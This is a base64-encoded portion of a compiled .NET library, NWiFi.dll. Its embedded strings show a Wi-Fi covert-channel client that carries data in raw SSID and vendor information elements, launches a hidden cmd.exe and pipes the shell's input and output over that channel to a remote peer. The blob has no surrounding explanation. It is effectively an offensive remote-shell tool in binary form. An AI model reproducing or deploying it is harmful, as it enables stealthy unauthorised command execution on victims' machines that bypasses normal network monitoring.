RBVEVfT1BFTgBQRU5ESU5HX09QRU4AU3lzdGVtLklPAEVSUABDTF9WRVJfR1RfWFAAQ1RMTV9UWVBFX0NMRUFSX1FVRVVFUwBGSFNTAEhSRFNTUwBDVExNX1RZUEVfQ09OX1JFU0VUAENUTE1fVFlQRV9LSUxMX0NMSUVOVABDT05fUkVTRVRfUkVBU09OX0tJTExfQ0xJRU5UAFNUQVRFX1BFTkRJTkdfQUNDRVBUAE1UVQBJSFYAY2xpZW50SVYAdmFsdWVfXwBiYQBkYQBzYQBnZXRfRGF0YQBwb3BJbmJvdW5kRGF0YQBwdXNoT3V0Ym91bmREYXRhAGxlbkllRGF0YQBwSWVEYXRhAGhhc0luRGF0YQBXbGFuTm90aWZpY2F0aW9uRGF0YQBub3RpZmljYXRpb25EYXRhAHdhaXRGb3JEYXRhAG5vdGlmeURhdGEAcmF3X3NzaWRfZGF0YQByYXdfdmVuX2llX2RhdGEAbXNjb3JsaWIAZGF0YUJsb2IAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMAQ2xpZW50U3ViUHJvYwBjb25uZWN0QW5kQmluZFByb2MAcHJvYwBwaHlJZABUaHJlYWQAc2VuZF9yZWNlaXZlX3RocmVhZABBZGQAQXV0b2NvbmZFbmFibGVkAEJhY2tncm91bmRTY2FuRW5hYmxlZABzZWN1cml0eUVuYWJsZWQAQXV0b2NvbmZEaXNhYmxlZABCYWNrZ3JvdW5kU2NhbkRpc2FibGVkAEFkSG9jTmV0d29ya0Zvcm1lZABDb25uZWN0ZWQARGlzY29ubmVjdGVkAFByb2ZpbGVzRXhoYXVzdGVkAGFkZF9FcnJvckRhdGFSZWNlaXZlZABhZGRfT3V0cHV0RGF0YVJlY2VpdmVkAHBSZXNlcnZlZAByZXNlcnZlZABzZXJ2ZXJfaWQAcERvdDExU3NpZABkb3QxMVNzaWQAZ2VuZXJhdGVSYXdTc2lkAGRvdDExQnNzaWQAcEludGVyZmFjZUd1aWQAaW50ZXJmYWNlR3VpZABpbnRlcmZhY2VfZ3VpZABpZl9ndWlkADxMaW1pdD5rX19CYWNraW5nRmllbGQASUhWX0VuZABJckJhc2ViYW5kAGNvbW1hbmQAU2VuZABtZXRob2QAYmVhY29uUGVyaW9kAGdlbmVyYXRlUmF3VmVuSWUAZXh0cmFjdEllAFJlcGxhY2UAcHJldk5vdGlmU291cmNlAG5vdGlmU291cmNlAFdsYW5Ob3RpZmljYXRpb25Tb3VyY2UAbm90aWZpY2F0aW9uU291cmNlAHNvdXJjZQBub3RpZmljYXRpb25Db2RlAHJlYXNvbl9jb2RlAEZsYWdDb250cm9sTWVzc2FnZQBBZGRSYW5nZQBQcm9maWxlQ2hhbmdlAFByb2ZpbGVOYW1lQ2hhbmdlAEJzc1R5cGVDaGFuZ2UAQWRob2NOZXR3b3JrU3RhdGVDaGFuZ2UAUG93ZXJTZXR0aW5nQ2hhbmdlAEZpbHRlckxpc3RDaGFuZ2UARW5kSW52b2tlAEJlZ2luSW52b2tlAE5ldHdvcmtBdmFpbGFibGUATmV0d29ya05vdEF2YWlsYWJsZQBSdW50aW1lVHlwZUhhbmRsZQBXbGFuQ2xvc2VIYW5kbGUAY2xvc2VOYXRpdmVXaWZpSGFuZGxlAG9wZW5OYXRpdmVXaWZpSGFuZGxlAG5hdGl2ZVdpZmlIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAV2xhbk9wZW5IYW5kbGUARXZlbnRXYWl0SGFuZGxlAGhDbGllbnRIYW5kbGUAbmF0aXZlV2lGaUNsaWVudEhhbmRsZQBjbGllbnRIYW5kbGUAbndpZmlfY2xpZW50X2hhbmRsZQBDb25zb2xlAFdhaXRPbmUAQmVnaW5FcnJvclJlYWRMaW5lAEJlZ2luT3V0cHV0UmVhZExpbmUAV3JpdGVMaW5lAE5vbmUAVmFsdWVUeXBlAERvdDExQnNzVHlwZQBkb3QxMUJzc1R5cGUARG90MTFQaHlUeXBlAGRvdDExQnNzUGh5VHlwZQBzZWFyY2hlZF9pZV90eXBlAGN0bG1fdHlwZQBQdHJUb1N0cnVjdHVyZQBJbmZyYXN0cnVjdHVyZQBDbG9zZQBEaXNwb3NlAGlnbm9yZUR1cGxpY2F0ZQBXbGFuTm90aWZpY2F0aW9uQ2FsbGJhY2tEZWxlZ2F0ZQBNdWx0aWNhc3REZWxlZ2F0ZQBhZ2dyZWdhdGUAV2xhbkludGVyZmFjZVN0YXRlAERlYnVnZ2VyQnJvd3NhYmxlU3RhdGUAaXNTdGF0ZQBTb2NrZXRTdGF0ZQBzdGF0ZQB3YWl0U2NhbkNvbXBsZXRlAENvbm5lY3Rpb25Db21wbGV0ZQBXcml0ZQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnZXJCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUARmxhZ3NBdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAHNldF9Vc2VTaGVsbEV4ZWN1dGUAUmVhZEJ5dGUAaW5fcXVldWUAb3V0X3F1ZXVlAERlcXVldWUARW5xdWV1ZQB2YWx1ZQBSZWNlaXZlAGR3RGF0YVNpemUAZGF0YVNpemUAaWVTaXplAHRvdGFsU2l6ZQBzaXplAFNpemVPZgBzb2NrX2luX2J1ZgBTeXN0ZW0uVGhyZWFkaW5nAEVuY29kaW5nAGJsb2NraW5nAHJ4VmVuSWVXb3JraW5nAHR4VmVuSWVXb3JraW5nAERpc2NvdmVyaW5nAFRvU3RyaW5nAEdldFN0cmluZwBBdXRoZW50aWNhdGluZwBBc3NvY2lhdGluZwBEaXNjb25uZWN0aW5nAEZsdXNoAHB1c2gATWF0aABldGgAdVNTSURMZW5ndGgAZ2V0X0xlbmd0aAByYXRlU2V0TGVuZ3RoAE5XaUZpAE5hdGl2ZVdpZmkAV2xhbmFwaQBwc2kAcnNzaQBmdW5jQ2FsbGJhY2sAQXN5bmNDYWxsYmFjawBjYWxsYmFjawBibG9jawBjc29jawBQZWVrAEFsbG9jSEdsb2JhbABGcmVlSEdsb2JhbABNYXJzaGFsAGRhdGFQdXNoZWRTaWduYWwAZGF0YVBvcHBlZFNpZ25hbABJbnRlcmZhY2VBcnJpdmFsAEludGVyZmFjZVJlbW92YWwAU3lzdGVtLkNvbXBvbmVudE1vZGVsAFNjYW5GYWlsAENvbm5lY3Rpb25BdHRlbXB0RmFpbABBbGwATldpRmkuZGxsAFdsYW5hcGkuZGxsAHdsYW5hcGkuZGxsAFdsYW5Ob3RpZmljYXRpb25Db2RlQWNtAGl0ZW0AU3lzdGVtAFJhbmRvbQBFbnVtAGNoZWNrTGVuZ3RoQ2hlY2tzdW0AV2xhblNjYW4AQm9vbGVhbgBsZW4ATWluAGluUmVnRG9tYWluAGRlc2lyZWRWZXJzaW9uAG5lZ290aWF0ZWRWZXJzaW9uAGNsaWVudFZlcnNpb24AT25BQ01Ob3RpZmljYXRpb24AV2xhblJlZ2lzdGVyTm90aWZpY2F0aW9uAGNhcGFiaWxpdHlJbmZvcm1hdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBBcmd1bWVudE91dE9mUmFuZ2VFeGNlcHRpb24AQWNjZXNzVmlvbGF0aW9uRXhjZXB0aW9uAGludGVyZmFjZURlc2NyaXB0aW9uAHNvY2tldF9jbG9zZV9yZWFzb24AcnVuAFVua25vd24AV2xhbkludGVyZmFjZUluZm8Ac2V0X1N0YXJ0SW5mbwBQcm9jZXNzU3RhcnRJbmZvAFplcm8AU2xlZXAAaG9zdFRpbWVzdGFtcAB0aW1lc3RhbXAAc2VuZF9yZWNlaXZlX2xvb3AAcG9wAHNlcQBDbGVhcgBXbGFuSW50ZXJmYWNlSW5mb0xpc3RIZWFkZXIAV2xhbkJzc0xpc3RIZWFkZXIAQnVmZmVyAGJ1ZmZlcgBEYXRhUmVjZWl2ZWRFdmVudEhhbmRsZXIAb3V0X2hhbmRsZXIASGVscGVyAFN0cmVhbVdyaXRlcgBUZXh0V3JpdGVyAEJpdENvbnZlcnRlcgBzZXRfUmVkaXJlY3RTdGFuZGFyZEVycm9yAC5jdG9yAC5jY3RvcgBkYXRhUHRyAHJlc2VydmVkUHRyAFN0cnVjdHVyZVRvUHRyAEludFB0cgBieXRlczJoZXhTdHIAZXRoYWRkcjJzdHIAU3lzdGVtLkRpYWdub3N0aWNzAFdsYW5FbnVtSW50ZXJmYWNlcwBlbnVtSW50ZXJmYWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBnZXRfUmF0ZXMAR2V0Qnl0ZXMATmV4dEJ5dGVzAERhdGFSZWNlaXZlZEV2ZW50QXJncwBkYXRhX2FyZ3MAdGltZW91dE1pbGxpcwBudW1iZXJPZkl0ZW1zAEdldFJhdGVJbk1icHMAUHJvY2VzcwBtYXhBdHRlbXB0cwBjb25fYXR0ZW1wdHMAY29ubmVjdGlvbl9hdHRlbXB0cwBDb25jYXQARm9ybWF0AE9iamVjdABvYmplY3QAQ29ubmVjdABvbkRpc2Nvbm5lY3QAV2xhblJhdGVTZXQAd2xhblJhdGVTZXQAcmF0ZVNldABwYXJzZTJwYWNrZXQAbGFzdF9yeF9wYWNrZXQAdHhfcGFja2V0AG91dHBhY2tldABhdHRhY2hTdWJQcm9jVG9Tb2NrZXQAQ2xpZW50U29ja2V0AHNvY2tldABpZU9mZnNldABzcGxpdABnZXRfTGltaXQAc2V0X0xpbWl0AGxpbWl0AElBc3luY1Jlc3VsdAByZXN1bHQAZG90MTFTc2lkSW50AEluZGVwZW5kZW50AG9uS2lsbENsaWVudABDb21wb25lbnQAQXV0b1Jlc2V0RXZlbnQAZ2V0X0NvdW50AElIVl9TdGFydABUaHJlYWRTdGFydABDb25uZWN0aW9uU3RhcnQAc3RhcnQAcHBJbnRlcmZhY2VMaXN0AFdsYW5HZXROZXR3b3JrQnNzTGlzdAB3bGFuQnNzTGlzdABwcmludF9vdXQAZ2V0X1N0YW5kYXJkSW5wdXQAc2V0X1JlZGlyZWN0U3RhbmRhcmRJbnB1dABpbnB1dABzZXRfUmVkaXJlY3RTdGFuZGFyZE91dHB1dABTeXN0ZW0uVGV4dABjYWxsYmFja0NvbnRleHQAY29udGV4dABTZW5kUmVjdgBzZXRfQ3JlYXRlTm9XaW5kb3cAcmF0ZUluZGV4AGluZGV4AHN1YkFycmF5AFRvQXJyYXkAY2hDZW50ZXJGcmVxdWVuY3kATm90UmVhZHkAQW55AEJsb2NrQ29weQBXbGFuQnNzRW50cnkAbGlua1F1YWxpdHkAb3BfRXF1YWxpdHkAU2VjdXJpdHkAAABTewAwADoAWAAyAH0AOgB7ADEAOgBYADIAfQA6AHsAMgA6AFgAMgB9ADoAewAzADoAWAAyAH0AOgB7ADQAOgBYADIAfQA6AHsANQA6AFgAMgB9AAAJbgB1AGwAbAAAAy0AAQEAW0UAcgByAG8AcgAgAGcAZQBuAGUAcgBhAHQAaQBuAGcAIAByAGEAdwAgAFMAUwBJAEQALAAgAG4AbwAgAHAAYQB5AGwAbwBhAGQAIABkAGUAZgBpAG4AZQBkAABdRQByAHIAbwByACAAZwBlAG4AZQByAGEAdABpAG4AZwAgAHIAYQB3ACAAdgBlAG4ASQBlACwAIABuAG8AIABwAGEAeQBsAG8AYQBkACAAZABlAGYAaQBuAGUAZAAAD1AAYQBjAGsAZQB0AAoAABMJAFMAQQA6AAkAewAwAH0ACgAAEwkARABBADoACQB7ADAAfQAKAAAfCQBjAGwAaQBlAG4AdABJAEQAOgAJAHsAMAB9AAoAABkJAHMAcgB2AEkARAA6AAkAewAwAH0ACgAALwkAUwBTAEkARAAgAHAAYQB5AGwAbwBhAGQAIABsAGUAbgA6AAkAewAwAH0ACgAAJwkAUwBTAEkARAAgAHAAYQB5AGwAbwBhAGQAOgAJAHsAMAB9AAoAACkJAFYAZQBuAGQAbwByACAASQBFACAAcgBhAHcAOgAJAHsAMAB9AAoAADsJAFYAZQBuAGQAbwByACAASQBFACAAIABwAGEAeQBsAG8AYQBkACAAbABlAG4AOgAJAHsAMAB9AAoAADMJAFYAZQBuAGQAbwByACAASQBFACAAIABwAGEAeQBsAG8AYQBkADoACQB7ADAAfQAKAAA3CQBGAGwAYQBnACAAQwBvAG4AdAByAG8AbAAgAE0AZQBzAHMAYQBnAGUAOgAJAHsAMAB9AAoAACEJAEMAVABMAE0AXwBUAFkAUABFADoACQB7ADAAfQAKAAAVCQBTAEUAUQA6AAkAewAwAH0ACgAAFQkAQQBDAEsAOgAJAHsAMAB9AAoAAF1DAG8AbgBuAGUAYwB0AGkAbwBuACAAcgBlAHMAZQB0ACAAZgByAG8AbQAgAHMAZQByAHYAZQByACwAIAByAGUAYQBzAG8AbgAgAGMAbwBkAGUAOgAgAHsAMAB9AAA9UwBlAHIAdgBlAHIAIABpAHMAcwB1AGUAZAAgAEsASQBMAEwAIABDAEwASQBFAE4AVAA6ACAAewAwAH0AAFFDAG8AbgBuAGUAYwB0ACAASQBuAGkAdAAgAFIAZQBxAHUAZQBzAHQAIAAxACAAKAB0AG8AIABzAHIAdgBJAEQAIAB7ADAAfQApAC4ALgAuAAB7LgAuAC4AIABjAG8AbgBuAGUAYwB0ACAASQBuAGkAdAAgAFIAZQBzAHAAbwBuAHMAZQAgADEAIAByAGUAYwBlAGkAdgBlAGQAIAAoAEMAbABpAGUAbgB0ACAASQBEACAAewAwAH0AIABhAHMAcwBpAGcAbgBlAGQAKQAAIU4AbwB0AGgAaQBuAGcAIAByAGUAYwBlAGkAdgBlAGQAADVDAG8AbgBuAGUAYwB0ACAASQBuAGkAdAAgAFIAZQBxAHUAZQBzAHQAIAAyACAALgAuAC4AAEkuAC4ALgAgAGMAbwBuAG4AZQBjAHQAIABJAG4AaQB0ACAAUgBlAHMAcABvAG4AcwBlACAAMgAgAHIAZQBjAGUAaQB2AGUAZAAAI04AbwB0AGgAaQBuAGcAIAByAGUAYwBlAGkAdgBlAGQACgAAUUMAbwBuAG4AZQBjAHQAaQBvAG4AIABvAHAAZQBuACwAIABzAHQAYQByAHQAaQBuAGcAIABkAGEAdABhACAAdABhAHIAbgBzAGYAZQByACEAAEFTAHQAYQByAHQAaQBuAGcAIABzAGUAbgBkACAAYQBuAGQAIAByAGUAYwBlAGkAdgBlACAAdABoAHIAZQBhAGQAAEs9AD0APQA9AD0APQA9AD0APQA9AD0AIABTAEMAQQBOACAAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AABTPQA9AD0APQA9AD0APQA9AD0APQA9ACAAUwBDAEEATgAgAEUATgBEACAAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AACAm0QAaQBzAGMAYQByAGQAaQBuAGcAIAByAGUAcwB0ACAAbwBmACAAaQBuAGIAbwB1AG4AZAAgAGQAYQB0AGEALAAgAGEAcwAgAHUAcABkAGEAdABlAGQAIABUAFgAIABwAGEAYwBrAGUAdAAgAGgAYQBzACAAdABvACAAYgBlACAAcwBlAG4AdAAgAGYAaQByAHMAdAAuAC4ALgAAQUkAZwBuAG8AcgBpAG4AZwAgAHAAYQBjAGsAZQB0ACAAZgBvAHIAIABvAHQAaABlAHIAIABDAGwAaQBlAG4AdAAANyoAKgAqACoAKgAqACAATgBlAHcAIABPAFUAVABEAEEAVABBACAAKgAqACoAKgAqACoAKgAqAAApKgAqACoAKgAqAE4AZQB3ACAASQBOAEQAQQBUAEEAKgAqACoAKgAqAAA/UAByAG8AYgBlACAAUgBlAHEAdQBlAHMAdAAgAHMAZQBuAHQACgAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQABS1IAZQBjAGUAaQB2AGUAZAAgAFAAcgBvAGIAZQAgAFIAZQBzAHAAbwBuAHMAZQAKAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0AAXtJAG4AcQB1AGUAdQBlACAAbABpAG0AaQB0ACAAewAwAH0AIAByAGUAYQBjAGgAZQBkACwAIABkAGEAdABhACAAbgBlAGUAZABzACAAdABvACAAYgBlACAAcABvAHAAcABlAGQAIAB0AG8AIAByAGUAYwBlAGkAdgBlAABhUABhAGMAawBlAHQAIABpAGcAbgBvAHIAZQBkACwAIABiAGUAYwBhAHUAcwBlACAAcwBvAGMAawBlAHQAIABuAG8AdAAgAGkAbgAgAE8AUABFAE4AIABzAHQAYQB0AGUAAICjUwBUAEEAUgBUACAARgBvAHIAYwBlAGQAIABzAGwAZQBlAHAALAAgAGIAZQBjAGEAdQBzAGUAIABsAGEAcwB0ACAAcgBlAHMAcABvAG4AcwBlACAAaABhAGQAIABkAGEAdABhACAAaQBuAGMAbAB1AGQAZQBkAC4ALgAuACAAbwB1AHQAcQB1AGUAdQBlACAAYwBvAHUAbgB0ACAAewAwAH0AAIChUwBUAE8AUAAgAEYAbwByAGMAZQBkACAAcwBsAGUAZQBwACwAIABiAGUAYwBhAHUAcwBlACAAbABhAHMAdAAgAHIAZQBzAHAAbwBuAHMAZQAgAGgAYQBkACAAZABhAHQAYQAgAGkAbgBjAGwAdQBkAGUAZAAuAC4ALgAgAG8AdQB0AHEAdQBlAHUAZQAgAGMAbwB1AG4AdAAgAHsAMAB9AACArVMAdABvAHAAcABpAG4AZwAgAHMAZQBuAGQALwByAGUAYwBlAGkAdgBlACAAdABoAHIAZQBhAGQAIABmAG8AcgAgAEMAbABpAGUAbgB0AFMAbwBjAGsAZQB0ACwAIABiAGUAYwBhAHUAcwBlACAAcwBvAGMAawBlAHQAIABpAHMAbgAnAHQAIABuAG8AdAAgAGkAbgAgAE8AUABFAE4AIABzAHQAYQB0AGUALgABJVMAUwBJAEQAIAByAGUAYwBpAGUAdgBlAGQAOgAgAHsAMAB9AAAnRABpAHMAYwBhAHIAZABlAGQAIABTAFMASQBEADoAIAB7ADAAfQAAW0EAYwBjAGUAcwBzACAAdgBpAG8AbABhAHQAaQBvAG4AIABpAG4AIABlAHgAdAByAGEAYwB0AEkAZQAgAGYAbwByACAASQBFACAAdAB5AHAAZQAgAHsAMAB9AAAZUwBjAGEAbgAgAGYAYQBpAGwAZQBkACEAAB9TAGMAYQBuACAAYwBvAG0AcABsAGUAdABlAGQAIQAAJU4AZQB0AHcAbwByAGsAIABBAHYAYQBpAGwAYQBiAGwAZQAhAAAtTgBlAHQAdwBvAHIAawAgAE4ATwBUACAAQQB2AGEAaQBsAGEAYgBsAGUAIQAAJ1AAcgBvAGYAaQBsAGUAcwAgAGUAeABoAGEAdQBzAHQAZQBkACEAAFlOAG8AIAB2AGEAbABpAGQAIABoAGEAbgBkAGwAZQAgAGYAbwByACAAbgBhAHQAaQB2AGUAIABXAGkARgBpACAAQQBQAEkAIAByAGUAYwBlAGkAdgBlAGQAAEdFAHIAcgBvAHIAIAByAGUAZwBpAHMAdABlAHIAaQBuAGcAIABmAG8AcgAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAAFVUAHIAeQBpAG4AZwAgAHQAbwAgAGMAbwBuAG4AZQBjAHQAIABjAG8AdgBlAHIAdAAgAGMAaABhAG4AbgBlAGwAIAB2AGkAYQAgACcAewAwAH0AJwABW0MAbwBuAG4AZQBjAHQAaQBvAG4AIABlAHMAdABhAGIAbABpAHMAaABlAGQACgBNAFQAVQA6ACAAewAwAH0ACgBDAGwAaQBlAG4AdABJAEQAOgAgAHsAMQB9AAAPYwBtAGQALgBlAHgAZQAAS1MAdQBiAHAAcgBvAGMAZQBzAHMAIABkAGkAZQBkACAAdwBpAHQAaAAgAHIAZQBhAHMAbw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